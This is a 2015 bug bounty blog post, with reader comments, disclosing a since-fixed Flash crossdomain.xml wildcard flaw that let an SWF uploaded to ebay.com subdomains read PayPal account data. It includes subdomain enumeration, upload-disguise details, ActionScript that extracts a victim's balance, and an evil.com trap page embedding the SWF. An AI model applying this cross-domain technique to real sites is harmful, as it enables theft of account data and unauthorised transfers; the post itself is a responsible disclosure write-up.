Wednesday, April 15, 2015

crossdomain.xml : Beware of Wildcards

This blog entry will describe a wide spread Flash vulnerability that affected many big websites including paypal.com. The description will picture the state of the website paypal.com and ebay.com in 2013-2014. The vulnerabilities were completely fixed two weeks ago. Therefore, it is not possible to reproduce this vulnerability as-is.

It all starts with a wildcard...


After navigating through the various settings section of my paypal account, I could not find any upload functionalities. Hosting a file directly on www.paypal.com might not be impossible, but it's not the easiest target.

There is an option. Looking at the crossdomain.xml (or clientaccesspolicy.xml).

https://www.paypal.com/crossdomain.xml from 2014
<cross-domain-policy>
    <allow-access-from domain="*.paypal.com"/>
    <allow-access-from domain="*.ebay.com"/>
    <allow-access-from domain="*.paypalobjects.com"/>
</cross-domain-policy>


This tell us that SWF hosted on any of those domains can make requests to the domain www.paypal.com and see the response. In other word, the SWF file will be allowed to do request beyond the same origin basic principle.

Step 1: Finding weak domains


We can find the existing subdomains by using an automate DNS bruteforce tools such as subbrute.

 $ ./subbrute.py ebay.com
ebay.com
blog.ebay.com
groups.ebay.com
home.ebay.com
www.ebay.com
my.ebay.com
members.ebay.com
cs.ebay.com
blogs.ebay.com
search.ebay.com
[...]
labs.ebay.com
developper.ebay.com
community.ebay.com

It is also possible to find upload functionalities with some Google-Fu.

  • site:target.com inbody:attachment
  • site:target.com forum
  • site:target.com upload
  • etc...


From the previous enumeration, I identify that the following where having upload functionnality for images or documents.
  • developper.ebay.com
  • community.ebay.com
  • labs.ebay.com
"Luckily", all three were vulnerable.

Step 2 : Uploading the SWF file


The main objective is being able to serve arbitrary file from a GET request on the targeted domain. The presence of the header "Content-Disposition: attachment .." will make the file benign. Any Content-Type could be present. The following file has all the requirements. It is a file attached to a comment in the Ebay Community Forum.

https://community.ebay.com/ebay01/attachments/ebay01/Communitygroupsandbox/1/12/hello14.jpg
HTTP/1.1 200 OK
Date: Tue, 22 Jul 2014 04:49:07 GMT
Server: Apache
Set-Cookie: VISITORID=147921315; Domain=.ebay.com; Path=/
Last-Modified: Sat, 19 Jul 2014 03:36:27 GMT
Content-Length: 33576
Connection: close
Content-Type: image/jpeg;charset=UTF-8

CWS[...]

Malicious SWF


A SWF file has similar capabilities that JavaScript has in a HTML page. The following code snippet does a HTTP request to the Paypal main page, extract the balance and display it.

Malicious.as
function getAccountBalanceHttpReq() {
    urlLoader = new URLLoader();
    urlLoader.addEventListener(Event.COMPLETE, onComplete);
    urlLoader.load(new URLRequest(encodeURI("https://www.paypal.com/ca/cgi-bin/webscr?cmd=_account&nav=0.0"")));
}

function onComplete(event:Event):void {
    //Extract balance from the page..
    var balanceRegExp:RegExp = /\$.*USD/;
    var amountFound:String = urlLoader.data.match(balanceRegExp);
    
    //Display amount extracted
    this['txtCurrentBalance'].text = amountFound;
    
    //More exfiltration
    //...etc
}

I developed the habit of creating custom SWF. For anyone unfamiliar with ActionScript or Flash, I would definitely suggest the use of prebuild SWF such as CrossXHR.

Step 3 : Hosting a malicious page


All we need is embebbing the remote SWF file in an HTML page. It can be done with <embed> or <object> tags but more easily with the swfobject.js library.

http://evil.com/trap_page.html
<script src="swfobject.js"></script>
<script>
var url ="https://community.ebay.com/ebay01/attachments/ebay01/Communitygroupsandbox/1/12/hello14.jpg";
swfobject.embedSWF(url, "evilSwf", "700", "400", "10.0.0", "expressInstall.swf", {}, {}, {});
</script>

<div id="evilSwf"></div>

That's it! Any logged in user visiting the page would be loading your malicious SWF and actions on their account could be done unless a password is required.

Proof of Concept reading the balance amount

The victim will not be able to notice that HTTP requests are triggered but more interestingly the targeted server would not receive any request different from normal ones. The only information that could be used to confirm an attack is the "Referer" header pointing to the file we uploaded.

Démonstration


Demonstration of the attack described previously. (Fullscreen recommended)


The demonstration shows the most basic attack vector reading account information. The vulnerability also opens the door to submit arbitrary forms including doing money transfer.

Conclusion


Looking at the crossdomain.xml or clientaccesspolicy.xml is a verification that can be done quickly. The attack surface might become bigger than you initially though.


I will be giving a Flash Talk at NorthSec next month on the subject. It will be a short presentation on how to identify variations of this vulnerability.

References


13 comments:

  1. Hi,

    Great work! :)

    I had really similar bug in paypal, based on their crossdomain.xml and vulnerable SWF file in other domain. Wondering how much did you got for this one? Also - can you share disclosure timeline with me? How long it took to paypal for fix it and give you full reward from initial report?

    Have a nice day!

    ReplyDelete
    Replies
    1. I prefer to avoid mentioning the payout in the article. It could be perceived as bragging. Some people will do strange calculation and come to the conclusion that bug bounty participants make millions.
      To answer your question the bounty was just below Authentication Bypass. It's a good reward for a small complexity bug.

      The timeline is a bit chaotic.
      [5/11/2013]
      I initially contact ebay at the end of 2013 for labs.ebay.com. I didn't push much.
      [16/7/2014]
      I got a response from Ebay 8 months later saying the vulnerability was consider invalid. The vulnerable form was removed. The POC files I uploaded were also removed.
      [21/7/2014]
      I did the quick search for other vulnerable cases that affected Paypal. I found community.ebay.com and developper.ebay.com. I reported both.
      [17/09/2014]
      I received an initial payment. Also, I notice the crossdomain.xml (paypal.com) was changed shortly after. "*.ebay.com" was no longer included.
      [3/04/2015]
      All bugs are officially fixed. I got the final payment and authorization to publish two weeks ago.

      Delete
    2. Of course, I understand it. All is similar to my case so it seems like paypal just work in this way ;) thanks and congratulations again. :)

      Delete
    3. I have reported few ebay specific bugs (mostly XSS) and I have received delay responses each time.
      In general, the Paypal bug bounty team is pretty effective at fixing and responding. I just don't like their rickety messaging system.

      Delete
  2. Well Done & very nice explanation
    Keep hunting Busy man ;)

    ReplyDelete
  3. I don't get it. How do you jump from loading a jpg to loading your malicious swf?

    ReplyDelete
    Replies
    1. There was no validation on the file attachment. It was only a extension verification. The malicious file uploaded was a SWF.

      Delete
  4. Hello Philippe Arteau,

    Its very very nice article with detailed explanation with video demonstration. Just an awesome work (y) .
    I have found same type of vulnerability or crossdomain.xml file on a big website. As a bug hunter i have just started my career yet. I need some guide on this topic. Because i followed your article and also tried some other 2 3 methods. But unfortunately i can't able to exploit it. It would be appreciable for me if you will give me some time and contact via email then we can demonstrate it also. I don't wanna disclose in public.

    Thanks for your above Article

    ReplyDelete
    Replies
    1. I can answer specific questions. Unfortunately, I can't give one on one support even for little things. Sorry.

      I can give you this advice that would apply to flash vulnerabilities, but would apply web security. When you are digging into a vulnerability, don't hesitate to spend some time to experiment on your local environment. The big bug bounty may be tempting, but you will learn a lot by trial and error with a control environment.

      This flash/swf vector is not new. I remember reporting an equivalent problem on DropBox in 2010-2011. Many bug hunters have also reported those. The big sites are mostly aware on these issues.

      Delete
  5. nice info :) how would you like to share your exploit code ? :)

    ReplyDelete
    Replies
    1. I used to recompile the same Flash swf.. Which is not really effective. I would recommend using generic swf like https://github.com/borisreitman/CrossXHR.

      Delete
    2. i'm too confuse in the code so that's why i'm asking for your code :) which really looks easy :) you can send me the code privately :p i'll not share with anyone :)

      Delete
  6. hello;
    i have site when i try to upload the generic swf file you mentioned it refused but when i upload the swf to excute xss it upload also the site use wild cards so why the site rfuse the first one and accepted the second one

    thanks

    ReplyDelete